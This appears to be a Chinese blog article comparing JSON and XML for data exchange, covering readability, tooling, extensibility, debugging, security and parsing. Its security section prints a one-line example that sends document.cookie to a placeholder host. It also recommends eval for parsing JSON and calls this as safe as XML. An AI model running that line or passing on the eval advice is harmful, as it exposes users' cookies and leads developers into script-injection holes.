JSON(Javascript Object Notation) 是一種輕量級的數據交換格式。易於人閱讀和編寫。同時也易於機器解析和生成。它基於Javascript Programming Language, Standard ECMA-262 3rd Edition – December 1999的一個子集。JSON采用完全獨立於語言的文本格式,但是也使用了類似於C語言家族的習慣(包括C, C++, C#, Java, Javascript, Perl, Python等)。這些特性使JSON成為理想的數據交換語言。本文將從下面幾個方面來客觀比較一下兩者的區別:
- 可讀性
- 是否易於在服務端創建數據
- 是否易於在客戶端處理數據
- 擴展性
- 調試和故障排除
- 安全
- 數據交換格式比較之關於輕量級和重量級
- 數據交換格式比較之關於數據格式編碼及解析的難度
1.可讀性
兩者都具備很好的可讀性,但從實際應用出發,個人還是覺得XML文檔的可讀性無疑會更高,要求你從一大堆的json代碼里看出它的結構層次關系還是 相對比較困難的;而且現在很多的IDE工具都可以把XML格式化成易讀的結構形式,看起來相當舒服,而json則不然。
2.是否易於在服務端創建數據
XML已經流行了好多年了,故目前流行的編程語言都已經存在大量的XML數據綁定API去進行創建XML,以java語言為例,你既可以用JAXB,又可以用XmlBeans,又或者dom4j、jdom等去把數據寫到xml文件中。而另一方面,json這一方面的API則相對是一個全新的領域,盡管如此,json官方網站還是列出了很多令人印象深刻的各種語言的API,java方面比較著名的有json-lib,此外gson也算一個。在這一方面,雖然json相對於XML並不是望塵莫及,但還是略微遜色一籌,尤其是在復雜的應用方面,XML方面的API已經存在多年,相對來說成熟穩定得多了。soap 就是基於xml 標准建立起來的。
3. 是否易於在客戶端處理數據
在客戶端,要處理XMLHttpRequest請求返回的json格式響應數據是一件輕而易舉的事情,只需要使用javascript的eval函 數就可以實現把json格式的數據轉換成javascript對象,然后通過對象的屬性去訪問值,這就是json最優雅之處,無數人為之着迷。而XML在 這一方面就不是那么的友善了,曾令無數的程序員頭痛不已,因為處理XML響應數據,你得通過DOM樹,這是非常繁瑣且容易出錯的工作。這一點,json要優於 xml 。
4.擴展性
可擴展性有助於減少生產者與消費者之間的數據耦合。在AJAX應用里,客戶端腳本應該合理地兼容不可知的數據擴展。
毫無疑問,XML是可擴展的,但它的擴展是有局限的,因為如果你要適應擴展的話,那么你的客戶端代碼不得不作出相應的改動,如以下的客戶端解析代碼:
var <span style="width: auto; height: auto;" id="2_nwp"><a style="text-decoration: none;" mpid="2" target="_blank" href="http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=1001&ch=0&di=128&fv=0&is_app=0&jk=580730bc539a1309&k=xml&k0=xml&kdi0=0&luki=10&n=10&p=baidu&q=06011078_cpr&rb=0&rs=1&seller_id=1&sid=9139a53bc300758&ssp2=1&stid=0&t=tpclicked3_hc&td=1922429&tu=u1922429&u=http%3A%2F%2Fwww%2Eadmin10000%2Ecom%2Fdocument%2F1071%2Ehtml&urlid=0" id="2_nwl"><span style="color:#0000ff;font-size:14px;width:auto;height:auto;float:none;">xml</span></a></span> = xhr.responseXML; var elements = xml.getElementsByTagName("firstName"); var firstNameEl = elements[0]; var lastNameEl = firstNameEl.nextSibling;
如果你在響應xml中<firstName>結點后增加了<middlename>這一結點的話,那以上的代碼就要作相應 的改變,否則會出錯,也就是說,XML的擴展得伴隨着解析代碼的變更,這可沒有什么魔法可言。而json則簡單得多,即使你要增加middleName這 一屬性,在js客戶端依然是通過對象訪問屬性值即可,而不會引起js上的語法出錯之類的錯誤,導致程序無法執行。
5.調試和故障排除
這方面需要從服務端和客戶端兩方面進行考慮,在服務器端,要確保數據是格式良好的和有效的;在客戶端,它應該容易調試錯誤的。
使用XML的話會相對容易地檢查數據被發送到客戶端是格式良好的和有效的。您還可以使用數據架構(schema)來驗證xml的正確性和有效性。使用JSON,這個任務是手動的,並涉及驗證響應對象中是否包含正確的屬性。
在客戶端,要從兩者中找到錯誤都是比較困難的。對於XML,瀏覽器是完全無法將xml格式化成responseXML;如果對於數據量較少的json數據,還可以通過firebug來發現錯誤,但對於大數據量的話,那只能靠手工檢查了.
6.安全性
有人認為,使用json是不安全的,原因是json里可以包含js代碼,而客戶端中使用eval可以使這些代碼執行,而這些代碼可能會存在安全隱患。如以下的代碼:
window.location = "<a href="http://xxxxx.com/">http://baidu.com</a>?" + document.cookie; person : { "firstName" : "wisdom", "lastName" : "hu" }
上面的代碼會導致瀏覽器把用戶的cookie數據提交到一個流氓網站。但出現這種情況的可能只會是開發者故意為之,別人是無法這樣做的,但如果是開 發者有意為之的話,那他一樣以別的方式來實現把你的cookie數據提交到流氓網站,這與是否使用json無關,所以相對於XML,json是同樣的安全的。
7.數據交換格式比較之關於輕量級和重量級
輕量級和重量級是相對來說的,那么XML相對於JSON的重量級體現在哪呢?我想應該體現在解析上,XML目前設計了兩種解析方式:DOM和SAX;
DOM是把一個數據交換格式XML看成一個DOM對象,需要把XML文件整個讀入內存,這一點上JSON和XML的原理是一樣的,但是XML要考慮 父節點和子節點,這一點上JSON的解析難度要小很多,因為JSON構建於兩種結構:key/value,鍵值對的集合;值的有序集合,可理解為數組;
SAX不需要整個讀入文檔就可以對解析出的內容進行處理,是一種逐步解析的方法。程序也可以隨時終止解析。這樣,一個大的文檔就可以逐步的、一點一點的展現出來,所以SAX適合於大規模的解析。這一點,JSON目前是做不到得。
所以,JSON和XML的輕/重量級的區別在於:JSON只提供整體解析方案,而這種方法只在解析較少的數據時才能起到良好的效果;而XML提供了對大規模數據的逐步解析方案,這種方案很適合於對大量數據的處理。
8,數據交換格式比較之關於數據格式編碼及解析的難度
在編碼上,雖然XML和JSON都有各自的編碼工具,但是JSON的編碼要比XML簡單,即使不借助工具,也可以寫出JSON代碼,但要寫出好的 XML代碼就有點困難;與XML一樣,JSON也是基於文本的,且它們都使用Unicode編碼,且其與數據交換格式XML一樣具有可讀性。
主觀上來看,JSON更為清晰且冗余更少些。JSON網站提供了對JSON語法的嚴格描述,只是描述較簡短。從總體來看,XML比較適合於標記文檔,而JSON卻更適於進行數據交換處理。
在解析上,在普通的web應用領域,開發者經常為XML的解析傷腦筋,無論是服務器端生成或處理XML,還是客戶端用 JavaScript 解析XML,都常常導致復雜的代碼,極低的開發效率。